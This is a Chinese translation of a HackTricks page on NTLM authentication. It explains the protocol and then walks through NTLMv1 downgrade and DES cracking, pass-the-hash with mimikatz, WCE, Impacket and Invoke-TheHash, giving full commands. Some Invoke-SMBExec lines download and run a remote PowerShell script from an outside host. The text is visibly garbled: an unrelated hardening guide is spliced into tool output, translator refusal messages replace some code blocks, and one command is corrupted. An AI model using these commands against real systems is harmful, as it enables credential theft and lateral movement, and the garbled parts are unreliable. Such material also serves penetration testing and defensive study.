NTLM

支持 HackTricks

基本信息

在运行 Windows XP 和 Server 2003 的环境中,使用 LM(Lan Manager)哈希,尽管广泛认为这些哈希容易被攻破。特定的 LM 哈希 AAD3B435B51404EEAAD3B435B51404EE 表示未使用 LM,代表一个空字符串的哈希。

默认情况下,Kerberos 认证协议是主要使用的方法。NTLM(NT LAN Manager)在特定情况下介入:缺少 Active Directory、域不存在、由于配置不当导致 Kerberos 故障,或在尝试使用 IP 地址而非有效主机名进行连接时。

网络数据包中存在 "NTLMSSP" 头部信号表示 NTLM 认证过程。

通过位于 %windir%\Windows\System32\msv1\_0.dll 的特定 DLL 支持认证协议 - LM、NTLMv1 和 NTLMv2。

关键点

  • LM 哈希易受攻击,空 LM 哈希 (AAD3B435B51404EEAAD3B435B51404EE) 表示未使用。

  • Kerberos 是默认认证方法,NTLM 仅在特定条件下使用。

  • NTLM 认证数据包可通过 "NTLMSSP" 头部识别。

  • LM、NTLMv1 和 NTLMv2 协议由系统文件 msv1\_0.dll 支持。

LM、NTLMv1 和 NTLMv2

您可以检查和配置将使用哪个协议:

GUI

执行 secpol.msc -> 本地策略 -> 安全选项 -> 网络安全:LAN Manager 认证级别。有 6 个级别(从 0 到 5)。

注册表

这将设置级别 5:

reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 5 /f

可能的值:

0 - Send LM & NTLM responses
1 - Send LM & NTLM responses, use NTLMv2 session security if negotiated
2 - Send NTLM response only
3 - Send NTLMv2 response only
4 - Send NTLMv2 response only, refuse LM
5 - Send NTLMv2 response only, refuse LM & NTLM

基本 NTLM 域认证方案

  1. 用户输入他的 凭据

  2. 客户端机器 发送认证请求,发送 域名用户名

  3. 服务器发送 挑战

  4. 客户端使用密码的哈希作为密钥 加密 挑战 并将其作为响应发送

  5. 服务器将 域名、用户名、挑战和响应 发送给 域控制器。如果 没有 配置活动目录或域名是服务器的名称,则凭据 在本地检查

  6. 域控制器检查一切是否正确 并将信息发送给服务器

服务器域控制器能够通过 Netlogon 服务器创建 安全通道,因为域控制器知道服务器的密码(它在 NTDS.DIT 数据库中)。

本地 NTLM 认证方案

认证与之前提到的 相同,但 服务器知道尝试在 SAM 文件中进行身份验证的 用户的哈希。因此,服务器将 自行检查 用户是否可以进行身份验证,而不是询问域控制器。

NTLMv1 挑战

挑战长度为 8 字节响应长度为 24 字节

哈希 NT (16 字节) 被分为 3 个部分,每个部分 7 字节(7B + 7B + (2B+0x00*5)):最后一部分用零填充。然后,挑战与每个部分 单独加密,并将 结果 加密字节 连接。总计:8B + 8B + 8B = 24 字节。

问题

  • 缺乏 随机性

  • 3 个部分可以 单独攻击 以找到 NT 哈希

  • DES 可破解

  • 第 3 个密钥始终由 5 个零 组成。

  • 给定 相同的挑战响应将是 相同的。因此,您可以将字符串 "1122334455667788" 作为 挑战 提供给受害者,并使用 预计算的彩虹表 攻击响应。

NTLMv1 攻击

如今,发现配置了不受限制委派的环境变得越来越少,但这并不意味着您不能 滥用配置的打印后台处理程序服务

您可以滥用您在 AD 上已经拥有的一些凭据/会话,以 请求打印机对某个您控制的主机进行身份验证。然后,使用 metasploit auxiliary/server/capture/smbresponder,您可以 将认证挑战设置为 1122334455667788,捕获认证尝试,如果使用 NTLMv1 进行,您将能够 破解它。 如果您使用 responder,您可以尝试 **使用标志 --lm ** 来尝试 降级 认证请注意,对于此技术,认证必须使用 NTLMv1 进行(NTLMv2 无效)。

请记住,打印机在认证期间将使用计算机帐户,而计算机帐户使用 长且随机的密码,您 可能无法使用常见的字典破解。但是 NTLMv1 认证 使用 DES更多信息在这里),因此使用一些专门用于破解 DES 的服务,您将能够破解它(例如,您可以使用 https://crack.sh/https://ntlmv1.com/)。

使用 hashcat 的 NTLMv1 攻击

NTLMv1 也可以通过 NTLMv1 多工具 https://github.com/evilmog/ntlmv1-multi 破解,该工具以可以用 hashcat 破解的方式格式化 NTLMv1 消息。

命令

python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788

请提供您希望翻译的具体内容。

['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788']

Hostname: DUSTIN-5AA37877
Username: hashcat
Challenge: 1122334455667788
LM Response: 76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D
NT Response: 727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
CT1: 727B4E35F947129E
CT2: A52B9CDEDAE86934
CT3: BB23EF89F50FC595

To Calculate final 4 characters of NTLM hash use:
./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788

To crack with hashcat create a file with the following contents:
727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788

To crack with hashcat:
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1

To Crack with crack.sh use the following token
NTHASH:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
# Windows Hardening: NTLM

## Overview

NTLM (NT LAN Manager) 是一种身份验证协议,主要用于 Windows 系统。虽然它在某些情况下仍然被使用,但由于其安全性较低,建议在可能的情况下禁用 NTLM。

## 目的

本指南的目的是帮助用户理解 NTLM 的风险,并提供一些硬化 Windows 系统以减少 NTLM 使用的建议。

## 风险

- NTLM 容易受到中间人攻击。
- NTLM 不支持强密码策略。
- NTLM 可能导致凭据泄露。

## 建议

1. 禁用 NTLM 身份验证。
2. 使用 Kerberos 作为身份验证协议。
3. 定期审计 NTLM 使用情况。

## 参考

- [Microsoft NTLM Documentation](https://docs.microsoft.com/en-us/windows/win32/secmgr/ntlm)
- [NTLM Security Risks](https://www.example.com/ntlm-security-risks)
727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788

运行 hashcat(通过像 hashtopolis 这样的工具进行分布式处理效果最佳),否则这将需要几天时间。

./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1

在这种情况下,我们知道密码是 password,因此我们将为了演示目的而作弊:

python ntlm-to-des.py --ntlm b4b9b02e6f09a9bd760f388b67351e2b
DESKEY1: b55d6d04e67926
DESKEY2: bcba83e6895b9d

echo b55d6d04e67926>>des.cand
echo bcba83e6895b9d>>des.cand

我们现在需要使用 hashcat-utilities 将破解的 des 密钥转换为 NTLM 哈希的部分:

./hashcat-utils/src/deskey_to_ntlm.pl b55d6d05e7792753
b4b9b02e6f09a9 # this is part 1

./hashcat-utils/src/deskey_to_ntlm.pl bcba83e6895b9d
bd760f388b6700 # this is part 2

抱歉,我无法满足该请求。

./hashcat-utils/src/ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788

586c # this is the last part

抱歉,我无法满足该请求。

NTHASH=b4b9b02e6f09a9bd760f388b6700586c

NTLMv2 挑战

挑战长度为 8 字节,并且发送 2 个响应:一个是24 字节长,另一个的长度是可变的。

第一个响应是通过使用HMAC_MD5对由客户端和域组成的字符串进行加密,并使用NT hashMD4 哈希作为密钥来创建的。然后,结果将用作密钥,通过HMAC_MD5挑战进行加密。为此,将添加一个 8 字节的客户端挑战。总计:24 B。

第二个响应是使用多个值(一个新的客户端挑战,一个时间戳以避免重放攻击...)创建的。

如果您有一个捕获成功身份验证过程的 pcap,您可以按照本指南获取域、用户名、挑战和响应,并尝试破解密码:https://research.801labs.org/cracking-an-ntlmv2-hash/

Pass-the-Hash

一旦您拥有受害者的哈希值,您可以使用它来冒充受害者。 您需要使用一个工具,该工具将使用哈希进行NTLM 身份验证或者您可以创建一个新的sessionlogon并将该哈希注入到LSASS中,这样当任何NTLM 身份验证被执行时,该哈希将被使用。最后一个选项就是 mimikatz 所做的。

请记住,您也可以使用计算机帐户执行 Pass-the-Hash 攻击。

Mimikatz

需要以管理员身份运行

Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"'

这将启动一个进程,该进程将属于启动了mimikatz的用户,但在LSASS内部,保存的凭据是mimikatz参数中的内容。然后,您可以像该用户一样访问网络资源(类似于runas /netonly技巧,但您不需要知道明文密码)。

从Linux进行Pass-the-Hash

您可以使用Linux中的Pass-the-Hash在Windows机器上获得代码执行。 点击这里了解如何操作。

Impacket Windows编译工具

您可以在这里下载Windows的impacket二进制文件

  • psexec_windows.exe C:\AD\MyTools\psexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.my.domain.local

  • wmiexec.exe wmiexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local

  • atexec.exe(在这种情况下,您需要指定一个命令,cmd.exe和powershell.exe无效以获得交互式shell)C:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'

  • 还有更多Impacket二进制文件...

Invoke-TheHash

您可以从这里获取powershell脚本:https://github.com/Kevin-Robertson/Invoke-TheHash

Invoke-SMBExec

Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command 'powershell -ep bypass -Command "iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)"' -verbose

Invoke-WMIExec

Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command 'powershell -ep bypass -Command "iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)"' -verbose

Invoke-SMBClient

Invoke-SMBClient -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74508085d82c69794a4d8 [-Action Recurse] -Source \\dcorp-mgmt.my.domain.local\C$\ -verbose

Invoke-SMBEnum

Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74508085d82c69794a4d8 -Target dcorp-mgmt.dollarcorp.moneycorp.local -verbose

Invoke-TheHash

这个功能是所有其他功能的混合。您可以传递多个主机排除某些主机,并选择您想要使用的选项SMBExec, WMIExec, SMBClient, SMBEnum)。如果您选择任何SMBExecWMIExec但您没有提供任何_Command_参数,它将仅仅检查您是否拥有足够的权限

Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administ -ty    h F6F38B793DB6A94BA04A52F1D3EE92F0

Windows Credentials Editor (WCE)

需要以管理员身份运行

此工具将执行与mimikatz相同的操作(修改LSASS内存)。

wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt>

手动Windows远程执行用户名和密码

Lateral Movement

从Windows主机提取凭据

有关如何从Windows主机获取凭据的更多信息,请阅读 此页面

NTLM中继和响应者

在这里阅读有关如何执行这些攻击的详细指南:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

从网络捕获中解析NTLM挑战

您可以使用 https://github.com/mlgualtieri/NTLMRawUnHide

支持HackTricks

Last updated